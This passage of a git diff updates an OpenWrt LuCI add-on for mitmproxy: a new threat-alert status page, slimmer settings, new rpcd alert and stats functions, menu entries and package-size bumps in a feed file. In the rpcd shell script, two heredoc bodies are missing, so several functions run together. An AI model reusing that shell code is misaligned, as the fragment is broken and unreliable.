s.option(form.Flag, 'enabled', _('Enable Analytics')); + o.description = _('Enable threat detection addon'); - o = s.option(form.DynamicList, 'bypass_ip', _('Bypass IP Addresses'), - _('IP addresses or CIDR ranges that bypass the proxy')); - o.placeholder = '192.168.1.0/24'; + o = s.option(form.Value, 'addon_script', _('Addon Script')); + o.default = '/data/addons/secubox_analytics.py'; o.depends('enabled', '1'); - o = s.option(form.DynamicList, 'bypass_domain', _('Bypass Domains'), - _('Domain patterns that bypass the proxy (for domain-based bypass, requires additional configuration)')); - o.placeholder = 'banking.com'; + o = s.option(form.Flag, 'log_requests', _('Log Requests')); o.depends('enabled', '1'); - // ===================================================================== - // Filtering / CDN Tracking - // ===================================================================== - s = m.section(form.TypedSection, 'filtering', _('Filtering & Analytics')); - s.anonymous = true; - s.addremove = false; - - o = s.option(form.Flag, 'enabled', _('Enable Filtering Addon'), - _('Load the SecuBox filtering addon for CDN/Media tracking and ad blocking')); - o.default = '0'; - - o = s.option(form.Flag, 'log_requests', _('Log All Requests'), - _('Log request details to JSON file for analysis')); - o.default = '1'; - o.depends('enabled', '1'); - - o = s.option(form.Flag, 'filter_cdn', _('Track CDN Traffic'), - _('Log and categorize CDN requests (Cloudflare, Akamai, Fastly, etc.)')); - o.default = '0'; - o.depends('enabled', '1'); - - o = s.option(form.Flag, 'filter_media', _('Track Media Streaming'), - _('Log and categorize streaming media requests (YouTube, Netflix, Spotify, etc.)')); - o.default = '0'; - o.depends('enabled', '1'); - - o = s.option(form.Flag, 'block_ads', _('Block Ads & Trackers'), - _('Block known advertising and tracking domains')); - o.default = '0'; - o.depends('enabled', '1'); - - o = s.option(form.Value, 'addon_script', _('Addon Script Path'), - _('Path to the Python filtering addon')); - o.default = '/etc/mitmproxy/addons/secubox_filter.py'; - o.depends('enabled', '1'); - - // ===================================================================== - // Capture Settings - // ===================================================================== - s = m.section(form.TypedSection, 'capture', _('Capture Settings')); - s.anonymous = true; - s.addremove = false; - - o = s.option(form.Flag, 'save_flows', _('Save Flows'), - _('Save captured flows to disk for later replay')); - o.default = '0'; - - o = s.option(form.Flag, 'capture_request_headers', _('Capture Request Headers'), - _('Include request headers in logs')); - o.default = '1'; - - o = s.option(form.Flag, 'capture_response_headers', _('Capture Response Headers'), - _('Include response headers in logs')); - o.default = '1'; - - o = s.option(form.Flag, 'capture_request_body', _('Capture Request Body'), - _('Include request body in logs (increases storage usage)')); - o.default = '0'; - - o = s.option(form.Flag, 'capture_response_body', _('Capture Response Body'), - _('Include response body in logs (increases storage usage)')); - o.default = '0'; - - var wrapper = E('div', { 'class': 'secubox-page-wrapper' }); - wrapper.appendChild(SbHeader.render()); - wrapper.appendChild(renderMitmproxyNav('settings')); - - return m.render().then(function(mapEl) { - wrapper.appendChild(mapEl); - return wrapper; - }); + return m.render(); } }); diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/status.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/status.js new file mode 100644 index 00000000..45c1ba2c --- /dev/null +++ b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/status.js @@ -0,0 +1,203 @@ +'use strict'; +'require view'; +'require poll'; +'require rpc'; +'require ui'; + +var callStatus = rpc.declare({ + object: 'luci.mitmproxy', + method: 'status' +}); + +var callAlerts = rpc.declare({ + object: 'luci.mitmproxy', + method: 'alerts' +}); + +var callStart = rpc.declare({ + object: 'luci.mitmproxy', + method: 'start' +}); + +var callStop = rpc.declare({ + object: 'luci.mitmproxy', + method: 'stop' +}); + +var callRestart = rpc.declare({ + object: 'luci.mitmproxy', + method: 'restart' +}); + +var callClearAlerts = rpc.declare({ + object: 'luci.mitmproxy', + method: 'clear_alerts' +}); + +function severityColor(sev) { + return { critical: '#e74c3c', high: '#e67e22', medium: '#f39c12', low: '#3498db' }[sev] || '#666'; +} + +function severityIcon(sev) { + return { critical: 'πŸ”΄', high: '🟠', medium: '🟑', low: 'πŸ”΅' }[sev] || 'βšͺ'; +} + +return view.extend({ + load: function() { + return Promise.all([ + callStatus().catch(function() { return {}; }), + callAlerts().catch(function() { return { alerts: [] }; }) + ]); + }, + + render: function(data) { + var status = data[0] || {}; + var alertsData = data[1] || {}; + var alerts = alertsData.alerts || []; + var self = this; + + var view = E('div', { 'class': 'cbi-map' }, [ + E('h2', {}, _('mitmproxy - HTTPS Intercepting Proxy')), + + // Service Status Card + E('div', { 'class': 'cbi-section' }, [ + E('h3', {}, _('Service Status')), + E('div', { 'class': 'cbi-section-node' }, [ + E('table', { 'class': 'table' }, [ + E('tr', { 'class': 'tr' }, [ + E('td', { 'class': 'td', 'width': '33%' }, E('strong', {}, _('Status'))), + E('td', { 'class': 'td' }, [ + E('span', { + 'style': 'display: inline-block; width: 12px; height: 12px; border-radius: 50%; margin-right: 8px; background: ' + (status.running ? '#27ae60' : '#e74c3c') + }), + status.running ? _('Running') : _('Stopped') + ]) + ]), + E('tr', { 'class': 'tr' }, [ + E('td', { 'class': 'td' }, E('strong', {}, _('Mode'))), + E('td', { 'class': 'td' }, status.mode || 'regular') + ]), + E('tr', { 'class': 'tr' }, [ + E('td', { 'class': 'td' }, E('strong', {}, _('Proxy Port'))), + E('td', { 'class': 'td' }, status.proxy_port || 8888) + ]), + E('tr', { 'class': 'tr' }, [ + E('td', { 'class': 'td' }, E('strong', {}, _('Web UI'))), + E('td', { 'class': 'td' }, status.running ? + E('a', { 'href': 'http://' + window.location.hostname + ':' + (status.web_port || 8082), 'target': '_blank' }, + 'http://' + window.location.hostname + ':' + (status.web_port || 8082)) : + _('Not available')) + ]) + ]) + ]), + E('div', { 'style': 'margin-top: 16px;' }, [ + E('button', { + 'class': 'btn cbi-button cbi-button-apply', + 'click': function() { + ui.showModal(_('Starting...'), [E('p', { 'class': 'spinning' }, _('Please wait...'))]); + callStart().then(function() { ui.hideModal(); location.reload(); }); + }, + 'disabled': status.running + }, _('Start')), + ' ', + E('button', { + 'class': 'btn cbi-button cbi-button-reset', + 'click': function() { + ui.showModal(_('Stopping...'), [E('p', { 'class': 'spinning' }, _('Please wait...'))]); + callStop().then(function() { ui.hideModal(); location.reload(); }); + }, + 'disabled': !status.running + }, _('Stop')), + ' ', + E('button', { + 'class': 'btn cbi-button cbi-button-action', + 'click': function() { + ui.showModal(_('Restarting...'), [E('p', { 'class': 'spinning' }, _('Please wait...'))]); + callRestart().then(function() { ui.hideModal(); location.reload(); }); + } + }, _('Restart')) + ]) + ]), + + // Security Threats Card + E('div', { 'class': 'cbi-section' }, [ + E('h3', {}, [ + _('Security Threats'), + ' ', + E('span', { 'style': 'font-size: 14px; font-weight: normal; color: #666;' }, + '(' + alerts.length + ' detected)') + ]), + alerts.length > 0 ? + E('div', {}, [ + E('div', { 'style': 'margin-bottom: 12px;' }, [ + E('button', { + 'class': 'btn cbi-button', + 'click': function() { + if (confirm(_('Clear all alerts?'))) { + callClearAlerts().then(function() { location.reload(); }); + } + } + }, _('Clear Alerts')) + ]), + E('table', { 'class': 'table', 'style': 'font-size: 13px;' }, [ + E('tr', { 'class': 'tr cbi-section-table-titles' }, [ + E('th', { 'class': 'th' }, _('Severity')), + E('th', { 'class': 'th' }, _('Type')), + E('th', { 'class': 'th' }, _('Path')), + E('th', { 'class': 'th' }, _('Source')), + E('th', { 'class': 'th' }, _('Time')) + ]) + ].concat(alerts.slice(-20).reverse().map(function(alert) { + return E('tr', { 'class': 'tr' }, [ + E('td', { 'class': 'td' }, [ + E('span', { + 'style': 'background: ' + severityColor(alert.severity) + '; color: white; padding: 2px 8px; border-radius: 4px; font-size: 11px; text-transform: uppercase;' + }, severityIcon(alert.severity) + ' ' + (alert.severity || 'unknown')) + ]), + E('td', { 'class': 'td' }, (alert.pattern || alert.type || '-').replace(/_/g, ' ')), + E('td', { 'class': 'td', 'style': 'max-width: 300px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;' }, + (alert.method || 'GET') + ' ' + (alert.path || '-')), + E('td', { 'class': 'td' }, [ + alert.ip || '-', + alert.country ? E('span', { 'style': 'margin-left: 4px; color: #666;' }, '(' + alert.country + ')') : null + ]), + E('td', { 'class': 'td', 'style': 'white-space: nowrap; color: #666;' }, + alert.time ? alert.time.split('T')[1].split('.')[0] : '-') + ]); + }))) + ]) : + E('div', { 'class': 'cbi-section-node', 'style': 'text-align: center; padding: 40px; color: #666;' }, [ + E('div', { 'style': 'font-size: 48px; margin-bottom: 16px;' }, 'βœ…'), + E('p', {}, _('No threats detected')), + E('p', { 'style': 'font-size: 12px;' }, _('The analytics addon monitors for SQL injection, XSS, command injection, and other attacks.')) + ]) + ]), + + // Info Card + E('div', { 'class': 'cbi-section' }, [ + E('h3', {}, _('Information')), + E('div', { 'class': 'cbi-section-node' }, [ + E('p', {}, _('mitmproxy is an interactive HTTPS proxy for traffic inspection and modification.')), + E('ul', {}, [ + E('li', {}, _('Intercept and inspect HTTP/HTTPS traffic')), + E('li', {}, _('Detect SQL injection, XSS, and other attacks')), + E('li', {}, _('Log threats to CrowdSec for automatic blocking')), + E('li', {}, _('Access the Web UI for detailed traffic analysis')) + ]), + E('p', { 'style': 'margin-top: 12px;' }, [ + E('strong', {}, _('CA Certificate: ')), + _('To inspect HTTPS traffic, install the CA certificate from '), + E('a', { 'href': 'http://mitm.it', 'target': '_blank' }, 'http://mitm.it'), + _(' on client devices.') + ]) + ]) + ]) + ]); + + return view; + }, + + handleSaveApply: null, + handleSave: null, + handleReset: null +}); diff --git a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/webui.js b/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/webui.js deleted file mode 100644 index 397e077a..00000000 --- a/package/secubox/luci-app-mitmproxy/htdocs/luci-static/resources/view/mitmproxy/webui.js +++ /dev/null @@ -1,130 +0,0 @@ -'use strict'; -'require view'; -'require dom'; -'require ui'; -'require mitmproxy/api as api'; -'require secubox-theme/theme as Theme'; -'require secubox-portal/header as SbHeader'; - -var lang = (typeof L !== 'undefined' && L.env && L.env.lang) || - (document.documentElement && document.documentElement.getAttribute('lang')) || - (navigator.language ? navigator.language.split('-')[0] : 'en'); -Theme.init({ language: lang }); - -var MITMPROXY_NAV = [ - { id: 'dashboard', icon: 'πŸ“Š', label: 'Dashboard' }, - { id: 'webui', icon: 'πŸ–₯️', label: 'Web UI' }, - { id: 'requests', icon: 'πŸ”', label: 'Requests' }, - { id: 'settings', icon: 'βš™οΈ', label: 'Settings' } -]; - -function renderMitmproxyNav(activeId) { - return E('div', { - 'class': 'mp-app-nav', - 'style': 'display:flex;gap:8px;margin-bottom:20px;padding:12px 16px;background:#141419;border:1px solid rgba(255,255,255,0.08);border-radius:12px;' - }, MITMPROXY_NAV.map(function(item) { - var isActive = activeId === item.id; - return E('a', { - 'href': L.url('admin', 'secubox', 'security', 'mitmproxy', item.id), - 'style': 'display:flex;align-items:center;gap:8px;padding:10px 16px;border-radius:8px;text-decoration:none;font-size:14px;font-weight:500;transition:all 0.2s;' + - (isActive ? 'background:linear-gradient(135deg,#e74c3c,#c0392b);color:white;' : 'color:#a0a0b0;background:transparent;') - }, [ - E('span', {}, item.icon), - E('span', {}, _(item.label)) - ]); - })); -} - -return view.extend({ - title: _('mitmproxy Web UI'), - - load: function() { - return Promise.all([ - api.getStatus(), - api.getWebToken() - ]); - }, - - render: function(data) { - var status = data[0] || {}; - var tokenData = data[1] || {}; - - var content; - - if (!status.running) { - content = E('div', { 'class': 'mp-card', 'style': 'text-align: center; padding: 60px 20px;' }, [ - E('div', { 'style': 'font-size: 64px; margin-bottom: 20px;' }, '⚠️'), - E('h2', { 'style': 'margin: 0 0 10px 0; color: #f39c12;' }, _('mitmproxy is not running')), - E('p', { 'style': 'color: #a0a0b0; margin: 0 0 20px 0;' }, _('Start the service to access the Web UI')), - E('button', { - 'class': 'mp-btn mp-btn-success', - 'click': function() { - ui.showModal(_('Starting...'), [ - E('p', { 'class': 'spinning' }, _('Starting mitmproxy...')) - ]); - api.serviceStart().then(function() { - ui.hideModal(); - setTimeout(function() { location.reload(); }, 2000); - }); - } - }, 'β–Ά Start mitmproxy') - ]); - } else if (!tokenData.token) { - content = E('div', { 'class': 'mp-card', 'style': 'text-align: center; padding: 60px 20px;' }, [ - E('div', { 'style': 'font-size: 64px; margin-bottom: 20px;' }, 'πŸ”„'), - E('h2', { 'style': 'margin: 0 0 10px 0; color: #3498db;' }, _('Waiting for authentication token')), - E('p', { 'style': 'color: #a0a0b0; margin: 0 0 20px 0;' }, _('The service is starting. Please wait or refresh the page.')), - E('button', { - 'class': 'mp-btn mp-btn-primary', - 'click': function() { location.reload(); } - }, 'πŸ”„ Refresh') - ]); - } else { - var iframeSrc = tokenData.web_url_with_token; - - content = E('div', { 'style': 'display: flex; flex-direction: column; height: calc(100vh - 200px); min-height: 600px;' }, [ - // Toolbar - E('div', { 'style': 'display: flex; align-items: center; gap: 12px; margin-bottom: 12px; padding: 12px 16px; background: #141419; border-radius: 8px;' }, [ - E('span', { 'style': 'color: #27ae60; font-weight: 500;' }, '● Connected'), - E('span', { 'style': 'color: #a0a0b0; font-size: 13px;' }, tokenData.web_url), - E('div', { 'style': 'flex: 1;' }), - E('button', { - 'class': 'mp-btn', - 'click': function() { - var iframe = document.querySelector('.mitmproxy-iframe'); - if (iframe) iframe.src = iframe.src; - } - }, 'πŸ”„ Refresh'), - E('a', { - 'class': 'mp-btn mp-btn-secondary', - 'href': iframeSrc, - 'target': '_blank' - }, 'β†— Open in New Tab') - ]), - - // Iframe container - E('div', { - 'style': 'flex: 1; border-radius: 8px; overflow: hidden; border: 1px solid rgba(255,255,255,0.1);' - }, [ - E('iframe', { - 'class': 'mitmproxy-iframe', - 'src': iframeSrc, - 'style': 'width: 100%; height: 100%; border: none; background: #1a1a1f;', - 'allow': 'fullscreen', - 'sandbox': 'allow-same-origin allow-scripts allow-forms allow-popups allow-modals' - }) - ]) - ]); - } - - var wrapper = E('div', { 'class': 'secubox-page-wrapper' }); - wrapper.appendChild(SbHeader.render()); - wrapper.appendChild(renderMitmproxyNav('webui')); - wrapper.appendChild(content); - return wrapper; - }, - - handleSaveApply: null, - handleSave: null, - handleReset: null -}); diff --git a/package/secubox/luci-app-mitmproxy/root/usr/libexec/rpcd/luci.mitmproxy b/package/secubox/luci-app-mitmproxy/root/usr/libexec/rpcd/luci.mitmproxy index 8d55b719..f30a90a2 100755 --- a/package/secubox/luci-app-mitmproxy/root/usr/libexec/rpcd/luci.mitmproxy +++ b/package/secubox/luci-app-mitmproxy/root/usr/libexec/rpcd/luci.mitmproxy @@ -328,8 +328,77 @@ do_start() { [ -x /etc/init.d/mitmproxy ] && /etc/init.d/mitmproxy start >/dev/n do_stop() { [ -x /etc/init.d/mitmproxy ] && /etc/init.d/mitmproxy stop >/dev/null 2>&1; echo '{"success":true}'; } do_restart() { [ -x /etc/init.d/mitmproxy ] && /etc/init.d/mitmproxy restart >/dev/null 2>&1; echo '{"success":true}'; } +get_alerts() { + # Read alerts from container + local alerts_file="/tmp/secubox-mitm-alerts.json" + local container_alerts="" + + # Try to get alerts from LXC container + if command -v lxc-attach >/dev/null 2>&1; then + container_alerts=$(lxc-attach -n "$LXC_NAME" -- cat /tmp/secubox-mitm-alerts.json 2>/dev/null) + fi + + # Fall back to host path if container method fails + if [ -z "$container_alerts" ] || [ "$container_alerts" = "[]" ]; then + [ -f "$alerts_file" ] && container_alerts=$(cat "$alerts_file" 2>/dev/null) + fi + + # Default to empty array + [ -z "$container_alerts" ] && container_alerts="[]" + + json_init + json_add_boolean "success" 1 + + # Output raw alerts array + cat </dev/null 2>&1; then + container_stats=$(lxc-attach -n "$LXC_NAME" -- cat /tmp/secubox-mitm-stats.json 2>/dev/null) + fi + + # Fall back to host path + if [ -z "$container_stats" ]; then + [ -f "$stats_file" ] && container_stats=$(cat "$stats_file" 2>/dev/null) + fi + + # Default stats + [ -z "$container_stats" ] && container_stats='{"total":{"requests":0,"threats":0,"bots":0}}' + + cat </dev/null 2>&1; then + lxc-attach -n "$LXC_NAME" -- sh -c 'echo "[]" > /tmp/secubox-mitm-alerts.json' 2>/dev/null + fi + + # Also clear on host + echo "[]" > /tmp/secubox-mitm-alerts.json 2>/dev/null + + echo '{"success":true,"message":"Alerts cleared"}' +} + list_methods() { cat <<'EOFM' -{"status":{},"settings":{},"save_settings":{"mode":"str","enabled":"bool","proxy_port":"int","web_port":"int","apply_now":"bool"},"set_mode":{"mode":"str","apply_now":"bool"},"setup_firewall":{},"clear_firewall":{},"install":{},"start":{},"stop":{},"restart":{}} +{"status":{},"settings":{},"save_settings":{"mode":"str","enabled":"bool","proxy_port":"int","web_port":"int","apply_now":"bool"},"set_mode":{"mode":"str","apply_now":"bool"},"setup_firewall":{},"clear_firewall":{},"install":{},"start":{},"stop":{},"restart":{},"alerts":{},"threat_stats":{},"clear_alerts":{}} EOFM } @@ -347,6 +416,9 @@ case "$1" in start) do_start ;; stop) do_stop ;; restart) do_restart ;; + alerts) get_alerts ;; + threat_stats) get_threat_stats ;; + clear_alerts) clear_alerts ;; *) echo '{"error":"Unknown method"}' ;; esac ;; diff --git a/package/secubox/luci-app-mitmproxy/root/usr/share/luci/menu.d/luci-app-mitmproxy.json b/package/secubox/luci-app-mitmproxy/root/usr/share/luci/menu.d/luci-app-mitmproxy.json index 4b941a9d..aede27e9 100644 --- a/package/secubox/luci-app-mitmproxy/root/usr/share/luci/menu.d/luci-app-mitmproxy.json +++ b/package/secubox/luci-app-mitmproxy/root/usr/share/luci/menu.d/luci-app-mitmproxy.json @@ -1,8 +1,18 @@ { "admin/services/mitmproxy": { "title": "mitmproxy", - "action": { "type": "view", "path": "mitmproxy/overview" }, + "action": { "type": "view", "path": "mitmproxy/status" }, "depends": { "acl": ["luci-app-mitmproxy"] }, "order": 60 + }, + "admin/services/mitmproxy/status": { + "title": "Status", + "action": { "type": "view", "path": "mitmproxy/status" }, + "order": 1 + }, + "admin/services/mitmproxy/settings": { + "title": "Settings", + "action": { "type": "view", "path": "mitmproxy/settings" }, + "order": 2 } } diff --git a/package/secubox/secubox-app-bonus/root/www/secubox-feed/apps-local.json b/package/secubox/secubox-app-bonus/root/www/secubox-feed/apps-local.json index 7acd7378..93f3f882 100644 --- a/package/secubox/secubox-app-bonus/root/www/secubox-feed/apps-local.json +++ b/package/secubox/secubox-app-bonus/root/www/secubox-feed/apps-local.json @@ -1,12 +1,12 @@ { "feed_url": "/secubox-feed", - "generated": "2026-01-31T09:21:26+01:00", + "generated": "2026-01-31T13:38:48+01:00", "packages": [ { "name": "luci-app-auth-guardian", "version": "0.4.0-r3", "filename": "luci-app-auth-guardian_0.4.0-r3_all.ipk", - "size": 12078, + "size": 12079, "category": "security", "icon": "key", "description": "Authentication management", @@ -18,7 +18,7 @@ "name": "luci-app-bandwidth-manager", "version": "0.5.0-r2", "filename": "luci-app-bandwidth-manager_0.5.0-r2_all.ipk", - "size": 66974, + "size": 66965, "category": "network", "icon": "activity", "description": "Bandwidth monitoring and control", @@ -30,7 +30,7 @@ "name": "luci-app-cdn-cache", "version": "0.5.0-r3", "filename": "luci-app-cdn-cache_0.5.0-r3_all.ipk", - "size": 23188, + "size": 23187, "category": "network", "icon": "globe", "description": "CDN caching", @@ -42,7 +42,7 @@ "name": "luci-app-client-guardian", "version": "0.4.0-r7", "filename": "luci-app-client-guardian_0.4.0-r7_all.ipk", - "size": 57046, + "size": 57042, "category": "network", "icon": "users", "description": "Client management and monitoring", @@ -54,7 +54,7 @@ "name": "luci-app-crowdsec-dashboard", "version": "0.7.0-r29", "filename": "luci-app-crowdsec-dashboard_0.7.0-r29_all.ipk", - "size": 55584, + "size": 55580, "category": "security", "icon": "shield", "description": "CrowdSec security monitoring", @@ -66,7 +66,7 @@ "name": "luci-app-cyberfeed", "version": "0.1.1-r1", "filename": "luci-app-cyberfeed_0.1.1-r1_all.ipk", - "size": 12839, + "size": 12835, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -78,7 +78,7 @@ "name": "luci-app-exposure", "version": "1.0.0-r3", "filename": "luci-app-exposure_1.0.0-r3_all.ipk", - "size": 20536, + "size": 20532, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -102,7 +102,7 @@ "name": "luci-app-glances", "version": "1.0.0-r2", "filename": "luci-app-glances_1.0.0-r2_all.ipk", - "size": 6969, + "size": 6965, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -114,7 +114,7 @@ "name": "luci-app-haproxy", "version": "1.0.0-r8", "filename": "luci-app-haproxy_1.0.0-r8_all.ipk", - "size": 34168, + "size": 34165, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -126,7 +126,19 @@ "name": "luci-app-hexojs", "version": "1.0.0-r3", "filename": "luci-app-hexojs_1.0.0-r3_all.ipk", - "size": 32977, + "size": 32974, + "category": "utility", + "icon": "package", + "description": "SecuBox package", + "installed": false, + "luci_app": null + } +, + { + "name": "luci-app-jitsi", + "version": "1.0.0-r1", + "filename": "luci-app-jitsi_1.0.0-r1_all.ipk", + "size": 5140, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -138,7 +150,7 @@ "name": "luci-app-ksm-manager", "version": "0.4.0-r2", "filename": "luci-app-ksm-manager_0.4.0-r2_all.ipk", - "size": 18725, + "size": 18719, "category": "system", "icon": "cpu", "description": "Kernel memory management", @@ -150,7 +162,7 @@ "name": "luci-app-localai", "version": "0.1.0-r15", "filename": "luci-app-localai_0.1.0-r15_all.ipk", - "size": 14367, + "size": 14358, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -162,7 +174,7 @@ "name": "luci-app-lyrion", "version": "1.0.0-r1", "filename": "luci-app-lyrion_1.0.0-r1_all.ipk", - "size": 6733, + "size": 6724, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -174,7 +186,7 @@ "name": "luci-app-magicmirror2", "version": "0.4.0-r6", "filename": "luci-app-magicmirror2_0.4.0-r6_all.ipk", - "size": 12277, + "size": 12278, "category": "iot", "icon": "monitor", "description": "Smart mirror display", @@ -186,7 +198,7 @@ "name": "luci-app-mailinabox", "version": "1.0.0-r1", "filename": "luci-app-mailinabox_1.0.0-r1_all.ipk", - "size": 5487, + "size": 5482, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -198,7 +210,7 @@ "name": "luci-app-media-flow", "version": "0.6.4-r1", "filename": "luci-app-media-flow_0.6.4-r1_all.ipk", - "size": 19127, + "size": 19111, "category": "media", "icon": "film", "description": "Media streaming", @@ -210,7 +222,7 @@ "name": "luci-app-metablogizer", "version": "1.0.0-r3", "filename": "luci-app-metablogizer_1.0.0-r3_all.ipk", - "size": 23504, + "size": 23505, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -222,7 +234,7 @@ "name": "luci-app-metabolizer", "version": "1.0.0-r2", "filename": "luci-app-metabolizer_1.0.0-r2_all.ipk", - "size": 4756, + "size": 4754, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -234,7 +246,7 @@ "name": "luci-app-mitmproxy", "version": "0.4.0-r6", "filename": "luci-app-mitmproxy_0.4.0-r6_all.ipk", - "size": 18935, + "size": 18932, "category": "security", "icon": "lock", "description": "HTTPS proxy and traffic inspection", @@ -246,7 +258,7 @@ "name": "luci-app-mmpm", "version": "0.2.0-r3", "filename": "luci-app-mmpm_0.2.0-r3_all.ipk", - "size": 7902, + "size": 7903, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -258,7 +270,7 @@ "name": "luci-app-mqtt-bridge", "version": "0.4.0-r4", "filename": "luci-app-mqtt-bridge_0.4.0-r4_all.ipk", - "size": 22779, + "size": 22775, "category": "iot", "icon": "message-square", "description": "MQTT bridge", @@ -270,7 +282,7 @@ "name": "luci-app-ndpid", "version": "1.1.2-r2", "filename": "luci-app-ndpid_1.1.2-r2_all.ipk", - "size": 22458, + "size": 22453, "category": "security", "icon": "eye", "description": "Deep packet inspection", @@ -282,7 +294,7 @@ "name": "luci-app-netdata-dashboard", "version": "0.5.0-r2", "filename": "luci-app-netdata-dashboard_0.5.0-r2_all.ipk", - "size": 22401, + "size": 22400, "category": "monitoring", "icon": "bar-chart-2", "description": "System monitoring dashboard", @@ -294,7 +306,7 @@ "name": "luci-app-network-modes", "version": "0.5.0-r3", "filename": "luci-app-network-modes_0.5.0-r3_all.ipk", - "size": 55613, + "size": 55610, "category": "network", "icon": "wifi", "description": "Network configuration", @@ -306,7 +318,7 @@ "name": "luci-app-network-tweaks", "version": "1.0.0-r7", "filename": "luci-app-network-tweaks_1.0.0-r7_all.ipk", - "size": 15464, + "size": 15459, "category": "network", "icon": "wifi", "description": "Network configuration", @@ -318,7 +330,7 @@ "name": "luci-app-nextcloud", "version": "1.0.0-r1", "filename": "luci-app-nextcloud_1.0.0-r1_all.ipk", - "size": 6482, + "size": 6481, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -342,7 +354,7 @@ "name": "luci-app-picobrew", "version": "1.0.0-r1", "filename": "luci-app-picobrew_1.0.0-r1_all.ipk", - "size": 9978, + "size": 9979, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -354,7 +366,7 @@ "name": "luci-app-secubox", "version": "0.7.1-r4", "filename": "luci-app-secubox_0.7.1-r4_all.ipk", - "size": 49902, + "size": 49897, "category": "system", "icon": "box", "description": "SecuBox system component", @@ -366,7 +378,7 @@ "name": "luci-app-secubox-admin", "version": "1.0.0-r19", "filename": "luci-app-secubox-admin_1.0.0-r19_all.ipk", - "size": 57098, + "size": 57097, "category": "system", "icon": "box", "description": "SecuBox system component", @@ -378,7 +390,7 @@ "name": "luci-app-secubox-crowdsec", "version": "1.0.0-r3", "filename": "luci-app-secubox-crowdsec_1.0.0-r3_all.ipk", - "size": 13922, + "size": 13919, "category": "system", "icon": "box", "description": "SecuBox system component", @@ -390,7 +402,7 @@ "name": "luci-app-secubox-netdiag", "version": "1.0.0-r1", "filename": "luci-app-secubox-netdiag_1.0.0-r1_all.ipk", - "size": 11996, + "size": 11999, "category": "system", "icon": "box", "description": "SecuBox system component", @@ -402,7 +414,7 @@ "name": "luci-app-secubox-netifyd", "version": "1.2.1-r1", "filename": "luci-app-secubox-netifyd_1.2.1-r1_all.ipk", - "size": 39503, + "size": 39497, "category": "system", "icon": "box", "description": "SecuBox system component", @@ -414,7 +426,7 @@ "name": "luci-app-secubox-p2p", "version": "0.1.0-r1", "filename": "luci-app-secubox-p2p_0.1.0-r1_all.ipk", - "size": 39260, + "size": 39256, "category": "system", "icon": "box", "description": "SecuBox system component", @@ -426,7 +438,7 @@ "name": "luci-app-secubox-portal", "version": "0.7.0-r2", "filename": "luci-app-secubox-portal_0.7.0-r2_all.ipk", - "size": 24557, + "size": 24555, "category": "system", "icon": "box", "description": "SecuBox system component", @@ -438,7 +450,7 @@ "name": "luci-app-secubox-security-threats", "version": "1.0.0-r4", "filename": "luci-app-secubox-security-threats_1.0.0-r4_all.ipk", - "size": 13910, + "size": 13904, "category": "system", "icon": "box", "description": "SecuBox system component", @@ -450,7 +462,7 @@ "name": "luci-app-service-registry", "version": "1.0.0-r1", "filename": "luci-app-service-registry_1.0.0-r1_all.ipk", - "size": 39827, + "size": 39821, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -462,7 +474,7 @@ "name": "luci-app-streamlit", "version": "1.0.0-r9", "filename": "luci-app-streamlit_1.0.0-r9_all.ipk", - "size": 20473, + "size": 20469, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -474,7 +486,7 @@ "name": "luci-app-system-hub", "version": "0.5.1-r4", "filename": "luci-app-system-hub_0.5.1-r4_all.ipk", - "size": 66351, + "size": 66343, "category": "system", "icon": "settings", "description": "System management", @@ -486,7 +498,7 @@ "name": "luci-app-tor-shield", "version": "1.0.0-r10", "filename": "luci-app-tor-shield_1.0.0-r10_all.ipk", - "size": 24536, + "size": 24532, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -498,7 +510,7 @@ "name": "luci-app-traffic-shaper", "version": "0.4.0-r2", "filename": "luci-app-traffic-shaper_0.4.0-r2_all.ipk", - "size": 15634, + "size": 15631, "category": "network", "icon": "filter", "description": "Traffic shaping and QoS", @@ -510,7 +522,7 @@ "name": "luci-app-vhost-manager", "version": "0.5.0-r5", "filename": "luci-app-vhost-manager_0.5.0-r5_all.ipk", - "size": 26200, + "size": 26197, "category": "network", "icon": "server", "description": "Virtual host management", @@ -522,7 +534,7 @@ "name": "luci-app-wireguard-dashboard", "version": "0.7.0-r5", "filename": "luci-app-wireguard-dashboard_0.7.0-r5_all.ipk", - "size": 45373, + "size": 45363, "category": "vpn", "icon": "shield", "description": "WireGuard VPN dashboard", @@ -534,7 +546,7 @@ "name": "luci-app-zigbee2mqtt", "version": "1.0.0-r2", "filename": "luci-app-zigbee2mqtt_1.0.0-r2_all.ipk", - "size": 7090, + "size": 7084, "category": "iot", "icon": "radio", "description": "Zigbee device management", @@ -546,7 +558,7 @@ "name": "luci-theme-secubox", "version": "0.4.7-r1", "filename": "luci-theme-secubox_0.4.7-r1_all.ipk", - "size": 111797, + "size": 111791, "category": "theme", "icon": "palette", "description": "LuCI theme", @@ -558,7 +570,7 @@ "name": "secubox-app", "version": "1.0.0-r2", "filename": "secubox-app_1.0.0-r2_all.ipk", - "size": 11188, + "size": 11180, "category": "utility", "icon": "package", "description": "SecuBox package", @@ -570,7 +582,7 @@ "name": "secubox-app-adguardhome", "version": "1.0.0-r2", "filename": "secubox-app-adguardhome_1.0.0-r2_all.ipk", - "size": 2877, + "size": 2878, "category": "secubox", "icon": "package", "description": "SecuBox backend service", @@ -582,7 +594,7 @@ "name": "secubox-app-auth-logger", "version": "1.2.2-r1", "filename": 